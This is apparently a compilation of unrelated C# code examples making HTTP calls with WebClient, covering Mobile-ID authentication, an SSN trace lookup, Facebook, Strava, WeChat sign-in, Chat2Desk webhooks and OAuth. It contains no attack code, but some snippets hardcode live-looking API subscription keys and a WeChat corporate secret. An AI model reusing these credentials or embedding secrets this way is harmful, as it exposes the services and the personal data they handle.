                //juMIT6G3m9VTaL51Pg/9/MkQnBrcmh5W9QAdqe/3OiJFAtge0DXHyuAw4YqPUVAB
                //0if8u/ZXNSyE9YtWViRSu1ClK5fx3wv5dQbsVvUok085vBm7O62rNG3uKpKILCaL
                //bfOhtxQexbVQME26Vj4TYF9wYy9RXwglMFBKsxD3fQwz6WwmJA3CyRnpTpOA3WPx
                //bsuKIbkBUY0jwJ7baPWqy6dedrdsZ7SzG31o01pAMvOPMvZ5QLOGL4QCLL651iGk
                //nmuUjmgqLbTRGO3Dv4f5UgPfN4tbWp74rwJ97Jkp5zJwQZqrxg==</CertificateData>
                //      <ChallengeID xsi:type="xsd:string">0057</ChallengeID>
                //      <Challenge xsi:type="xsd:string">030104000000000000009A038E07092E19E49EB9</Challenge>
                //    </dig:MobileAuthenticateResponse>
                //  </SOAP-ENV:Body>
                //</SOAP-ENV:Envelope>

                Console.WriteLine("invoke MobileAuthenticateAsync");
                var xa = c.MobileAuthenticateAsync(new sk.MobileAuthenticateRequest
                {
                    // http://www.id.ee/?id=30340

                    // http://www.sk.ee/upload/files/DigiDocService_spec_est.pdf

                    // Autenditava isiku isikukood.
                    //Kohustuslik on kas IDCode või PhoneNo,
                    //soovitatav on kasutada mõlemat
                    //sisendparameetrit! Leedu Mobiil-ID kasutajate
                    //puhul on kohustuslikud IDCode ja PhoneNo
                    //IDCode = "14212128025",
                    IDCode = "",

                    // Isikukoodi välja andnud riik, kasutatakse ISO 3166
                    // 2 tähelisi riigikoode (näiteks: EE)
                    CountryCode = "EE",



                    // Autenditava isiku telefoninumber koos riigikoodiga
                    //kujul +xxxxxxxxx (näiteks +3706234566).
                    //Kui on määratud nii PhoneNo kui ka IDCode
                    //parameetrid, kontrollitakse telefoninumbri
                    //vastavust isikukoodile ja mittevastavuse korral
                    //tagastatakse SOAP veakood 301. Kohustuslik on
                    //kas IDCode või PhoneNo, soovitatav on kasutada
                    //mõlemat sisendparameetrit! Leedu Mobiil-ID
                    //kasutajate puhul on kohustuslikud IDCode ja
                    //PhoneNo (vt. peatükk 5.2). Kui element “PhoneNo”
                    //on määratud, siis teenuse siseselt lähtutakse
                    //prefiksis määratud riigi tunnusest (sõltumata
                    //elemendi "CountryCode" väärtusest)
                    PhoneNo = "+37200007",

                    // Telefonile kuvatavate teadete keel. Kasutatakse: 3-
                    // tähelisi koode suurtähtedes.Võimalikud variandid:
                    //(EST, ENG, RUS, LIT).
                    Language = "EST",

                    // Autentimisel telefonil kuvatav teenuse nimetus,
                    //maksimaalne pikkus 20 tähemärki.
                    //Eelnevalt on vajalik kasutatava teenuse nimetuse
                    //kokkuleppimine teenuse pakkujaga
                    ServiceName = "Testimine",

                    //Täiendav tekst, mis autentimise PIN-i küsimise
                    //eelselt lisaks teenuse nimetuse kasutaja telefonile
                    //kuvatakse. Maksimaalne pikkus 40 baiti (ladina
                    //tähtede puhul tähendab see ühtlasi ka 40 sümboli
                    //pikkust teksti, aga näiteks kirillitsa teksti puhul
                    //võidakse tähti kodeerida 2 baidistena ja siis ei saa
                    //saata pikemat kui 20-sümbolilist teksti).
                    MessageToDisplay = "Testimine",

                    //- Rakenduse pakkuja poolt genereeritud juhuslik 10
                    //baidine tekst, mis on osa (autentimise käigus)
                    //kasutaja poolt signeeritavast sõnumist.
                    //Edastatakse HEX stringina.
                    //NB! Suurema turvalisuse huvides on soovitatav
                    //see väli alati täita, iga kord erineva juhusliku
                    //väärtusega. Kui autentimine õnnestub, on
                    //soovitatav ka kontrollida, et kasutaja poolt
                    //allkirjastatud väärtus tõepoolest ka sisaldab antud
                    //SPChallenge-i väärtust. Täpsem info viimase
                    //verifitseerimise kohta on peatükis
                    //„GetMobileAuthenticateStatus“, „Signature“-
                    //elemendi kirjelduse all.

                    SPChallenge = "03010400000000000000",

                    // Autentimise toimingu vastuse tagastamise viis.
                    //Võimalikud variandid:
                    //- “asynchClientServer” – rakendus teeb pärast
                    //MobileAuthenticate meetodi väljakutsumist
                    //täiendavaid staatuspäringuid (kasutades
                    //meetodit GetMobileAuthenticateStatus).
                    //- “asynchServerServer” – toimingu lõppemisel
                    //või vea tekkimisel saadetakse vastus
                    //kliendirakendusele asünkroonselt (vt.
                    //parameeter AsyncConfiguration).
                    MessagingMode = "asynchClientServer",

                    //AsyncConfiguration =
                    // Määrab asünkroonselt vastuse tagasisaatmise
                    //konfiguratsiooni.Antud parameetri väärtust
                    //kasutatakse ainult juhul kui MessagingMode on
                    //“asynchServerServer”. Konfiguratsioon lepitakse
                    //kokku teenuse kasutaja ja teenuse pakkuja vahel.
                    //Hetkel on toetatud vastuse tagasi saatmine
                    //kasutades Java Message Services(JMS) liidest


                    // Kui väärtus on “TRUE”, tagastatakse vastuses
                    //autenditava isiku sertifikaat. Sertifikaat on vajalik,
                    //kui rakenduse pakkuja soovib talletada ja
                    //iseseisvalt kontrollida signatuuri korrektsust ja
                    //kehtivusinfot.

                    ReturnCertData = true,

                    //Väärtuse “TRUE” korral tagastatakse sertifikaadi
                    //kehtivusinfo vastuses RevocationData väljal.
                    ReturnRevocationData = false
                });

                sk.MobileAuthenticateResponse x = xa.Result;
                Console.WriteLine("after MobileAuthenticateAsync");

                // did we actually do wsdl coms or was it intercepted by core?
                // { Sesscode = 0, Status = , UserIDCode = , UserCN = , ChallengeID = , Challenge =  }
                // { Sesscode = 0, Status = OK, UserIDCode = 14212128025, UserCN = TESTNUMBER,SEITSMES,14212128025, ChallengeID = 0045, Challenge = 03010400000000000000EFC2B87DBF2FF80CE0AD }
                // { Sesscode = 2070798858, Status = OK, UserIDCode = 14212128025, UserCN = TESTNUMBER,SEITSMES,14212128025, ChallengeID = 0126, Challenge = 03010400000000000000A611E8BFBABA7F76E07E }

                Console.WriteLine(new
                {
                    // loodud sessiooni identifikaator
                    x.Sesscode,



                    // kasutaja autentimiseks tuleb
                    //teha täiendavad staatusepäringud kuni
                    //autentimistoimingu olek on “USER_AUTHENTICATED”
                    x.Status,

                    // Autenditava isiku isikukood. Väärtus võetakse
                    //isikutuvastuse sertifikaadi eraldusnime “Serial Number”
                    //väljalt.
                    x.UserIDCode,

                    // Autenditava isiku isikutuvastuse sertifikaadi põhinimi.
                    //Väärtus võetakse isikutuvastuse sertifikaadi eraldusnime
                    //CN (Common Name) väljalt.
                    x.UserCN,

                    // 4 tähemärgiline kontrollkood, mis arvutatakse kasutaja
                    //                            telefonile signeerimiseks saadetava Challenge väärtuse
                    //põhjal.Antud kontrollkood tuleb mobiilautentimist
                    //võimaldaval rakendusel kuvada kasutajale ja selle kaudu
                    //on võimalik kasutajal veenduda päringu autentsuses.
                    x.ChallengeID,

                    //Kasutaja poolt autentimisel allkirjastatav sõnum,
                    //koosneb rakenduse looja poolt saadetud sõnumist
                    //(SPChallange, 10 baiti) ja teenuse poolt lisatust (samuti
                    //10 baiti). Tagastatakse vaid juhul, kui päringus
                    //SPChallenge väli on väärtustatud.

                    x.Challenge
                });
            }
            catch (Exception err)
            {
                // err = {"Could not find endpoint element with name '' and contract 'sk.DigiDocServicePortType' in the ServiceModel client configuration section. This might be because no configuration file was found for your application, or because no endpoint element matching thi...

                Console.WriteLine(new { err.Message, err.StackTrace });
            }

            ////Task.Run(
            ////    async delegate
            ////    {
            ////        var c = new sk.DigiDocServicePortTypeClient();


            ////        //c.MobileAuthenticate()


            ////        ////try
            ////        ////{
            ////        //    function &MobileAuthenticate($IDCode, $CountryCode, $PhoneNo, $Language, $ServiceName, $MessageToDisplay, $SPChallenge, $MessagingMode, $AsyncConfiguration, $ReturnCertData, $ReturnRevocationData)
            ////        // MobileAuthenticate("", "", $tel_no, $lang, "Testimine", "", "00000000000000000000","asynchClientServer", NULL, true, FALSE);

            ////        var xa = c.MobileAuthenticateAsync(new sk.MobileAuthenticateRequest
            ////        {
            ////            // http://www.id.ee/?id=30340

            ////            // http://www.sk.ee/upload/files/DigiDocService_spec_est.pdf

            ////            // Autenditava isiku isikukood.
            ////            //Kohustuslik on kas IDCode või PhoneNo,
            ////            //soovitatav on kasutada mõlemat
            ////            //sisendparameetrit! Leedu Mobiil-ID kasutajate
            ////            //puhul on kohustuslikud IDCode ja PhoneNo
            ////            IDCode = "14212128025",

            ////            // Isikukoodi välja andnud riik, kasutatakse ISO 3166
            ////            // 2 tähelisi riigikoode (näiteks: EE)
            ////            CountryCode = "EE",



            ////            // Autenditava isiku telefoninumber koos riigikoodiga
            ////            //kujul +xxxxxxxxx (näiteks +3706234566).
            ////            //Kui on määratud nii PhoneNo kui ka IDCode
            ////            //parameetrid, kontrollitakse telefoninumbri
            ////            //vastavust isikukoodile ja mittevastavuse korral
            ////            //tagastatakse SOAP veakood 301. Kohustuslik on
            ////            //kas IDCode või PhoneNo, soovitatav on kasutada
            ////            //mõlemat sisendparameetrit! Leedu Mobiil-ID
            ////            //kasutajate puhul on kohustuslikud IDCode ja
            ////            //PhoneNo (vt. peatükk 5.2). Kui element “PhoneNo”
            ////            //on määratud, siis teenuse siseselt lähtutakse
            ////            //prefiksis määratud riigi tunnusest (sõltumata
            ////            //elemendi "CountryCode" väärtusest)
            ////            //PhoneNo = "+37200007"
            ////            PhoneNo = "37200007",

            ////            // Telefonile kuvatavate teadete keel. Kasutatakse: 3-
            ////            // tähelisi koode suurtähtedes.Võimalikud variandid:
            ////            //(EST, ENG, RUS, LIT).
            ////            Language = "EST",

            ////            // Autentimisel telefonil kuvatav teenuse nimetus,
            ////            //maksimaalne pikkus 20 tähemärki.
            ////            //Eelnevalt on vajalik kasutatava teenuse nimetuse
            ////            //kokkuleppimine teenuse pakkujaga
            ////            ServiceName = "Testimine",

            ////            //Täiendav tekst, mis autentimise PIN-i küsimise
            ////            //eelselt lisaks teenuse nimetuse kasutaja telefonile
            ////            //kuvatakse. Maksimaalne pikkus 40 baiti (ladina
            ////            //tähtede puhul tähendab see ühtlasi ka 40 sümboli
            ////            //pikkust teksti, aga näiteks kirillitsa teksti puhul
            ////            //võidakse tähti kodeerida 2 baidistena ja siis ei saa
            ////            //saata pikemat kui 20-sümbolilist teksti).
            ////            MessageToDisplay = "Testimine",

            ////            //- Rakenduse pakkuja poolt genereeritud juhuslik 10
            ////            //baidine tekst, mis on osa (autentimise käigus)
            ////            //kasutaja poolt signeeritavast sõnumist.
            ////            //Edastatakse HEX stringina.
            ////            //NB! Suurema turvalisuse huvides on soovitatav
            ////            //see väli alati täita, iga kord erineva juhusliku
            ////            //väärtusega. Kui autentimine õnnestub, on
            ////            //soovitatav ka kontrollida, et kasutaja poolt
            ////            //allkirjastatud väärtus tõepoolest ka sisaldab antud
            ////            //SPChallenge-i väärtust. Täpsem info viimase
            ////            //verifitseerimise kohta on peatükis
            ////            //„GetMobileAuthenticateStatus“, „Signature“-
            ////            //elemendi kirjelduse all.

            ////            SPChallenge = "03010400000000000000",

            ////            // Autentimise toimingu vastuse tagastamise viis.
            ////            //Võimalikud variandid:
            ////            //- “asynchClientServer” – rakendus teeb pärast
            ////            //MobileAuthenticate meetodi väljakutsumist
            ////            //täiendavaid staatuspäringuid (kasutades
            ////            //meetodit GetMobileAuthenticateStatus).
            ////            //- “asynchServerServer” – toimingu lõppemisel
            ////            //või vea tekkimisel saadetakse vastus
            ////            //kliendirakendusele asünkroonselt (vt.
            ////            //parameeter AsyncConfiguration).
            ////            MessagingMode = "asynchClientServer",

            ////            //AsyncConfiguration =
            ////            // Määrab asünkroonselt vastuse tagasisaatmise
            ////            //konfiguratsiooni.Antud parameetri väärtust
            ////            //kasutatakse ainult juhul kui MessagingMode on
            ////            //“asynchServerServer”. Konfiguratsioon lepitakse
            ////            //kokku teenuse kasutaja ja teenuse pakkuja vahel.
            ////            //Hetkel on toetatud vastuse tagasi saatmine
            ////            //kasutades Java Message Services(JMS) liidest


            ////            // Kui väärtus on “TRUE”, tagastatakse vastuses
            ////            //autenditava isiku sertifikaat. Sertifikaat on vajalik,
            ////            //kui rakenduse pakkuja soovib talletada ja
            ////            //iseseisvalt kontrollida signatuuri korrektsust ja
            ////            //kehtivusinfot.

            ////            ReturnCertData = true,

            ////            //Väärtuse “TRUE” korral tagastatakse sertifikaadi
            ////            //kehtivusinfo vastuses RevocationData väljal.
            ////            ReturnRevocationData = false

            ////        });


            ////        //xa.GetAwaiter
            ////        var x = await xa;

            ////        // { UserIDCode = 14212128025 }
            ////        // x error CS0103: The name 'x' does not exist in the current context

            ////        // 102
            ////        // { UserIDCode = 14212128025 }



            ////        // { Sesscode = 976450644, Status = OK, UserIDCode = 14212128025, UserCN = TESTNUMBER,SEITSMES,14212128025, ChallengeID = 0029, Challenge = 03010400000000000000CC9C9010FF770270701D }

            ////        Console.WriteLine(new
            ////        {

            ////            // loodud sessiooni identifikaator
            ////            x.Sesscode,



            ////            // kasutaja autentimiseks tuleb
            ////            //teha täiendavad staatusepäringud kuni
            ////            //autentimistoimingu olek on “USER_AUTHENTICATED”
            ////            x.Status,

            ////            // Autenditava isiku isikukood. Väärtus võetakse
            ////            //isikutuvastuse sertifikaadi eraldusnime “Serial Number”
            ////            //väljalt.
            ////            x.UserIDCode,

            ////            // Autenditava isiku isikutuvastuse sertifikaadi põhinimi.
            ////            //Väärtus võetakse isikutuvastuse sertifikaadi eraldusnime
            ////            //CN (Common Name) väljalt.
            ////            x.UserCN,

            ////            // 4 tähemärgiline kontrollkood, mis arvutatakse kasutaja
            ////            //                            telefonile signeerimiseks saadetava Challenge väärtuse
            ////            //põhjal.Antud kontrollkood tuleb mobiilautentimist
            ////            //võimaldaval rakendusel kuvada kasutajale ja selle kaudu
            ////            //on võimalik kasutajal veenduda päringu autentsuses.
            ////            x.ChallengeID,

            ////            //Kasutaja poolt autentimisel allkirjastatav sõnum,
            ////            //koosneb rakenduse looja poolt saadetud sõnumist
            ////            //(SPChallange, 10 baiti) ja teenuse poolt lisatust (samuti
            ////            //10 baiti). Tagastatakse vaid juhul, kui päringus
            ////            //SPChallenge väli on väärtustatud.

            ////            x.Challenge
            ////        });

            ////        ////}
            ////        ////catch (Exception err)
            ////        ////{
            ////        ////    // http://www.sk.ee/upload/files/DigiDocService_spec_est.pdf

            ////        ////    // { err = System.ServiceModel.FaultException: 102
            ////        ////    // Mõni kohustuslik sisendparameeter on määramata

            ////        ////    Console.WriteLine(new { err }
            ////        ////    );


            ////        ////}

            ////    }
            ////).Wait();



            // X:\jsc.svn\examples\java\android\Test\TestUDPSend\TestUDPSend\ApplicationActivity.cs

            // 2012desktop?

            System.Console.WriteLine(
                typeof(object).AssemblyQualifiedName
                );



            //CLRProgram.CLRMain();

            Console.WriteLine("done");
            Console.ReadLine();
        }
示例#39
0
        internal static void GetApiDataSSNOnly(string SSN)
        {
            var _referenceid = SSN;
            var _ssn         = SSN;

            Console.WriteLine(_ssn);


            SSNTraceRequest _root = new SSNTraceRequest();

            _root.request = new Request
            {
                //Control Data
                control_data = new Control_Data
                {
                    account_ID   = "THEMISDS",
                    user_ID      = "tuprimary_test2",
                    reference_ID = _referenceid
                },

                candidate_name = new Candidate_Name
                {
                    first_name  = "",
                    middle_name = "",
                    last_name   = "",
                    prefix      = "",
                    suffix      = ""
                },

                //candidate_dob = new DateTime().Date,
                //candidate_dob = String.Format(SampleDataProvider.GetSampleDOB(ReferenceID), "yyyy-MM-dd"),
                candidate_dob = "",


                //SSN
                candidate_ssn = new Candidate_Ssn
                {
                    number      = _ssn,
                    issue_date  = new DateTime().Date,
                    issue_state = ""
                },

                //Zip
                candidate_zip = ""
            };
            _root.request.searches = new string[1];

            _root.request.searches[0] = "ssn_exact";


            string _jsonstring = JsonConvert.SerializeObject(_root);

            try
            {
                //var apiUrl = "https://stage-api.themisds.com/api/locationsearch";

                var apiUrl = "https://stage-api.themisds.com/tuprimary/locationsearch";

                //var apiUrl = "https://prod-api.themisds.com/api/locationsearch";
                //var apiUrl = "https://localhost:44328/api/locationsearch";
                //var apiUrl = "https://stg-api.themisds.com/v1/api/locationsearch";
                //var apiUrl = "https://ssntraceapistage-v1.azurewebsites.net/api/locationsearch";


                using (WebClient client = new WebClient())
                {
                    //Call Api - Using Keep Alive User in API Manager Prod
                    client.Headers["Content-Type"] = "application/json";

                    //Stage
                    client.Headers["Ocp-Apim-Subscription-Key"] = "2f8d8e8938a3401e8096f3c62668beca";

                    //Stage V1
                    //client.Headers["Ocp-Apim-Subscription-Key"] = "f63f7d4032aa42e2b796d73ae41e0d4b";

                    //Prod
                    //client.Headers["Ocp-Apim-Subscription-Key"] = "36e60ad1a366459a9701c70627b73470";

                    string _response = client.UploadString(apiUrl, "POST", _jsonstring);

                    //Console.WriteLine(_response);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }

            //return _rootobject;
        }
示例#40
0
        static void Main(string[] args)
        {
            var apiUrl = "http://localhost:56907/";



            using (var client = new WebClient())
            {
                try
                {
                    Employee employee = new Employee();
                    employee.EmpId      = 1;
                    employee.EmpName    = "Raju Singh";
                    employee.EmpAddress = "TKK";
                    string json = JsonConvert.SerializeObject(employee);
                    client.UseDefaultCredentials = true;
                    client.Headers.Add("Content-Type:application/json");
                    client.Headers.Add("Accept:application/json");
                    //  client.Headers.Add("Custom", "Raju");
                    var uri      = new Uri(new Uri(apiUrl), "api/Default/SaveEmployee");
                    var response = client.UploadString(uri, "POST", json);
                    Console.WriteLine(response);
                }
                catch (WebException ex)
                {
                    if (ex.Status == WebExceptionStatus.ProtocolError)
                    {
                        HttpWebResponse wrsp       = (HttpWebResponse)ex.Response;
                        var             statusCode = (int)wrsp.StatusCode;
                        var             msg        = wrsp.StatusDescription;
                        throw new HttpException(statusCode, msg);
                    }
                    else
                    {
                        throw new HttpException(500, ex.Message);
                    }
                }
            }

            using (var client = new WebClient())
            {
                try
                {
                    EmployeeList employeeList = new EmployeeList();

                    List <Employee> emp = new List <Employee>();
                    emp.Add(new Employee()
                    {
                        EmpId = 1, EmpName = "raju Singh", EmpAddress = "TKK"
                    });
                    emp.Add(new Employee()
                    {
                        EmpId = 2, EmpName = "raju Singh2", EmpAddress = "TKK2"
                    });
                    emp.Add(new Employee()
                    {
                        EmpId = 3, EmpName = "raju Singh3", EmpAddress = "TKK3"
                    });
                    emp.Add(new Employee()
                    {
                        EmpId = 4, EmpName = "raju Singh4", EmpAddress = "TKK4"
                    });
                    employeeList.empList = emp;

                    string json = JsonConvert.SerializeObject(employeeList);
                    client.UseDefaultCredentials = true;
                    client.Headers.Add("Content-Type:application/json");
                    client.Headers.Add("Accept:application/json");
                    var uri      = new Uri(new Uri(apiUrl), "api/Default/SaveMultipleEmployee");
                    var response = client.UploadString(uri, "POST", json);
                    Console.WriteLine(response);
                }
                catch (WebException ex)
                {
                    // Http Error
                    if (ex.Status == WebExceptionStatus.ProtocolError)
                    {
                        HttpWebResponse wrsp       = (HttpWebResponse)ex.Response;
                        var             statusCode = (int)wrsp.StatusCode;
                        var             msg        = wrsp.StatusDescription;
                        throw new HttpException(statusCode, msg);
                    }
                    else
                    {
                        throw new HttpException(500, ex.Message);
                    }
                }
            }

            using (var client = new WebClient())
            {
                try
                {
                    int id = 10;
                    client.QueryString.Add("id", "10");
                    client.QueryString.Add("name", "raju singh");
                    client.UseDefaultCredentials = true;
                    client.Headers.Add("Content-Type:application/x-www-form-urlencoded");
                    client.Headers.Add("Accept:application/json");
                    var uri = new Uri(new Uri(apiUrl), "api/Default/SaveTest");
                    // var uri = new Uri(apiUrl, "api/Default/SaveEmployee");
                    var response = client.DownloadString(uri);
                    Console.WriteLine(response);
                }
                catch (WebException ex)
                {
                    // Http Error
                    if (ex.Status == WebExceptionStatus.ProtocolError)
                    {
                        HttpWebResponse wrsp       = (HttpWebResponse)ex.Response;
                        var             statusCode = (int)wrsp.StatusCode;
                        var             msg        = wrsp.StatusDescription;
                        throw new HttpException(statusCode, msg);
                    }
                    else
                    {
                        throw new HttpException(500, ex.Message);
                    }
                }
            }

            Console.ReadLine();
        }
 public void PostToWall(string message)
 {
     if (!HasToken)
     {
         throw new ArgumentException("Facebook Token");
     }
     else
     {
         WebClient wc = new WebClient();
         wc.Encoding = Encoding.UTF8;
         wc.UploadString("https://graph.facebook.com/me/feed", null, "access_token=" + this.Token + "&message=" + message);
     }
 }
示例#42
0
        // ReSharper disable once UnusedMember.Global
        public async Task FixActivityType()
        {
            var page       = 1;
            var activities = await this.client.Activities.GetActivitiesAsync(page ++, 30);

            while (activities.Any())
            {
                foreach (var activity in activities)
                {
                    try
                    {
                        if (activity.Type == ActivityType.Workout)
                        {
                            if (Enum.TryParse(activity.Name, out ActivityIdEnum moveActivity))
                            {
                                var newType = this.MovescountTypeToStravaType(moveActivity);

                                if (newType == ActivityType.Workout)
                                {
                                    this.logger.LogWarning(
                                        $"Type of activity {activity.Id} of name '{activity.Name}' must be resolved manually.");
                                    continue;
                                }

                                var activityData = this.client.Activities.GetActivity(activity.Id.ToString(), false);

                                var update = new UpdatableActivity
                                {
                                    Commute     = activityData.IsCommute,
                                    Description = activityData.Description,
                                    Name        = activityData.Name,
                                    Private     = activityData.IsPrivate,
                                    Trainer     = activityData.IsTrainer,
                                    Type        = newType
                                };

                                using (var wc = new WebClient())
                                {
                                    wc.Headers.Add("Authorization",
                                                   $"Bearer {this.accessToken}");
                                    wc.Headers.Add("Content-Type", "application/json");
                                    wc.UploadString($"https://www.strava.com/api/v3/activities/{activity.Id}",
                                                    "PUT", JsonConvert.SerializeObject(update));
                                }
                            }
                            else
                            {
                                this.logger.LogWarning(
                                    $"Type of activity {activity.Id} of name '{activity.Name}' must be resolved manually.");
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        this.logger.LogError($"Error while updating type of activity {activity.Id}");
                        this.logger.LogError(ex.Message);
                        this.logger.LogError(ex.StackTrace);
                        throw;
                    }

                    activities = await this.client.Activities.GetActivitiesAsync(page ++, 30);
                }
            }
        }
        public ActionResult WeixinQYHSignIn(string code)
        {
            try
            {
                if (string.IsNullOrEmpty(code))
                {
                    return(Json(new { code = 1, Msg = "参数错误" }));
                }

                string corpId = "wwa26d4508575b5fe9";
                string secret = "cwcclxDJ0GMIlxsn2U_3kWQUPoiDupZOZMrKFqDDcnI";

                WebClient wcl   = new WebClient();
                string    url   = string.Format("https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid={0}&corpsecret={1}", corpId, secret);
                string    json  = wcl.DownloadString(url);
                JObject   token = JObject.Parse(json.Replace("\\", ""));//可用属性请查看官方接入文档(access_token,expires_in,refresh_token,openid,scope,errcode,errmsg)

                if ((int)token["errcode"] != 0)
                {
                    return(Json(new { Code = 1, Msg = "获取信息失败" }));
                }

                var access_token = (string)token["access_token"];

                //获取微信用户OpenId
                url  = string.Format("https://qyapi.weixin.qq.com/cgi-bin/user/getuserinfo?access_token={0}&code={1}", access_token, code);
                json = wcl.DownloadString(url);
                JObject wxUser = JObject.Parse(json.Replace("\\", ""));//可用属性请查看官方接入文档(expires_in,UserId,DeviceId,user_ticket,OpenId,errcode,errmsg)

                if ((int)wxUser["errcode"] != 0)
                {
                    return(Json(new { Code = 1, Msg = "获取信息失败" }));
                }

                var user_ticket = (string)wxUser["user_ticket"];

                //获取微信用户信息
                url  = string.Format("https://qyapi.weixin.qq.com/cgi-bin/user/getuserdetail?access_token={0}", access_token);
                json = wcl.UploadString(url, "{\"user_ticket\": \"" + user_ticket + "\"}");
                JObject wxUserDetial = JObject.Parse(json.Replace("\\", ""));//可用属性请查看官方接入文档(userid,name,department[int],position,mobile,gender,email,avatar,errcode,errmsg)

                if ((int)wxUserDetial["errcode"] != 0)
                {
                    return(Json(new { Code = 1, Msg = "获取信息失败" }));
                }

                var userid = (string)wxUserDetial["userid"];

                SysUser user = dbContext.Set <SysUser>().Where(x => x.UserCode == userid).FirstOrDefault();
                if (user == null)
                {
                    return(Json(new { Code = 1, Msg = userid + "不存在!" }));
                }

                SSOClient.SignIn(user.UserId);
                return(Redirect("/pages/home/weixin.html"));
            }
            catch (Exception ex)
            {
                LogHelper.SaveLog(ex);
                return(Json(new { Code = 1, Msg = "服务器异常,请联系管理员!" }));
            }
        }
        private static void SetChat2DeskWebhook()
        {
            var chat2deskToken = WebConfigurationManager.AppSettings["chat2deskToken"];

            var serviceUrl = WebConfigurationManager.AppSettings["serviceUrl"];

            using (WebClient client = new WebClient())
            {
                var isWebhookFound = false;

                client.Encoding = Encoding.UTF8;
                client.Headers["Content-type"]  = "application/json";
                client.Headers["Authorization"] = chat2deskToken;
                var urlString = "https://api.chat2desk.com/v1/webhooks";

                var responseJson = client.DownloadString(urlString);

                var response = GetWebhooks.FromJson(responseJson);

                if (response != null && response.Data != null)
                {
                    foreach (var webhook in response.Data)
                    {
                        if (webhook.Url.AbsoluteUri == serviceUrl + "/api/webhook")
                        {
                            isWebhookFound = true;
                        }
                    }
                }

                if (!isWebhookFound)
                {
                    var webhook = new Webhook()
                    {
                        Url    = new Uri(serviceUrl + "/api/webhook"),
                        Name   = "webhook1",
                        Events = new string[] {
                            "inbox",
                            "outbox",
                            "new_client",
                            "add_tag_to_client",
                            "add_tag_to_request",
                            "delete_tag_from_client",
                            "close_dialog",
                            "close_request",
                            "new_qr_code"
                        }
                    };

                    client.Encoding = Encoding.UTF8;
                    client.Headers["Content-type"]  = "application/json";
                    client.Headers["Authorization"] = chat2deskToken;

                    var postResponseJson = client.UploadString(urlString, "POST", webhook.ToJson());

                    var responsePost = GetWebhooksResponse.FromJson(responseJson);

                    if (responsePost.Status == "error")
                    {
                        throw new Exception("При настройке взаимодействия с Chat2Desk возникла ошибка: " + responsePost.Message);
                    }
                }
            }
        }
示例#45
0
        // Invoked after the user has authorized us
        //
        // TODO: this should return the stream error for invalid passwords instead of
        // just true/false.
        public bool AcquireAccessToken()
        {
            var headers = new Dictionary <string, string>()
            {
                { "oauth_consumer_key", provider.ConsumerKey },
                { "oauth_nonce", MakeNonce() },
                { "oauth_signature_method", "HMAC-SHA1" },
                { "oauth_timestamp", MakeTimestamp() },
                { "oauth_version", "1.0" }
            };
            var content = "";

            if (xAuthUsername == null)
            {
                headers.Add("oauth_token", OAuthUtils.PercentEncode(AuthorizationToken));
                headers.Add("oauth_verifier", OAuthUtils.PercentEncode(AuthorizationVerifier));
            }
            else
            {
                headers.Add("x_auth_username", OAuthUtils.PercentEncode(xAuthUsername));
                headers.Add("x_auth_password", OAuthUtils.PercentEncode(xAuthPassword));
                headers.Add("x_auth_mode", "client_auth");
                content = String.Format("x_auth_mode=client_auth&x_auth_password={0}&x_auth_username={1}", OAuthUtils.PercentEncode(xAuthPassword), OAuthUtils.PercentEncode(xAuthUsername));
            }

            string signature           = MakeSignature("POST", provider.AccessTokenUrl, headers);
            string compositeSigningKey = MakeSigningKey(provider.ConsumerSecret, RequestTokenSecret);
            string oauth_signature     = MakeOAuthSignature(compositeSigningKey, signature);

            var wc = new WebClient();

            headers.Add("oauth_signature", OAuthUtils.PercentEncode(oauth_signature));
            if (xAuthUsername != null)
            {
                headers.Remove("x_auth_username");
                headers.Remove("x_auth_password");
                headers.Remove("x_auth_mode");
            }
            wc.Headers[HttpRequestHeader.Authorization] = HeadersToOAuth(headers);

            try
            {
                var result = HttpUtility.ParseQueryString(wc.UploadString(new Uri(provider.AccessTokenUrl), content));

                if (result["oauth_token"] != null)
                {
                    AccessToken       = result["oauth_token"];
                    AccessTokenSecret = result["oauth_token_secret"];
                    AuthInfo          = result.ToDictionary();

                    return(true);
                }
            }
            catch (WebException e)
            {
                var x = e.Response.GetResponseStream();
                var j = new System.IO.StreamReader(x);
                Console.WriteLine(j.ReadToEnd());
                Console.WriteLine(e);
                // fallthrough for errors
            }
            return(false);
        }
    // Use this to do a POST for a paint exercise
    public IEnumerator POSTPaintExercise(string exercisePath)
    {
        bool allProper = false;
        int retryCount = NumberOfRetries;

        string result = "";

        PaintPreferences xmldata = new PaintPreferences();

        // let's start with the easy part: they tell me
        // where the .xml is, I open it and read it
        string mainFilePath = exercisePath + "\\main.xml";
        //Debug.Log("The path i search for the xml is " + mainFilePath);

        if (File.Exists(mainFilePath))
        {
            xmldata.LoadXML(mainFilePath);
            //Debug.Log("I actually read it!");

            // since it's really working we can
            // create the JSON structure to send

            JSONObject nested_fields_lvl1 = new JSONObject(JSONObject.Type.OBJECT);

            nested_fields_lvl1.AddField("patient_id", PaintPreferences.patientID);
            nested_fields_lvl1.AddField("start_datetime", PaintPreferences.initTime);
            nested_fields_lvl1.AddField("end_datetime", PaintPreferences.endTime);
            nested_fields_lvl1.AddField("patient_only", PaintPreferences.patientOnly.ToString().ToLower());

            // I have to get all the doctors involved
            // and pick out the first since it is the logged one
            string list_of_doctors = string.Join(", ", PaintPreferences.doctorsIDs.Skip(1).ToArray());
            nested_fields_lvl1.AddField("other_doctors", "[" + list_of_doctors + "]");

            JSONObject nested_fields_lvl2D = new JSONObject(JSONObject.Type.OBJECT);
            int count = 0;
            foreach (float dimension in PaintPreferences.paintDim)
            {
                count += 1;
                nested_fields_lvl2D.AddField("d" + count.ToString(), dimension);
            }
            nested_fields_lvl1.AddField("dimension", nested_fields_lvl2D);

            count = 0;
            foreach (Color single_color in PaintPreferences.paintColor)
            {
                JSONObject nested_fields_lvl2C = new JSONObject(JSONObject.Type.OBJECT);
                count += 1;
                nested_fields_lvl2C.AddField("a", single_color.a);
                nested_fields_lvl2C.AddField("r", single_color.r);
                nested_fields_lvl2C.AddField("g", single_color.g);
                nested_fields_lvl2C.AddField("b", single_color.b);

                nested_fields_lvl1.AddField("color" + count.ToString(), nested_fields_lvl2C);
            }

            if (PaintPreferences.colorFilterEnabled == true)
            {
                JSONObject nested_fields_lvl2CF = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2CF.AddField("a", PaintPreferences.colorFilterAlpha.ToString());
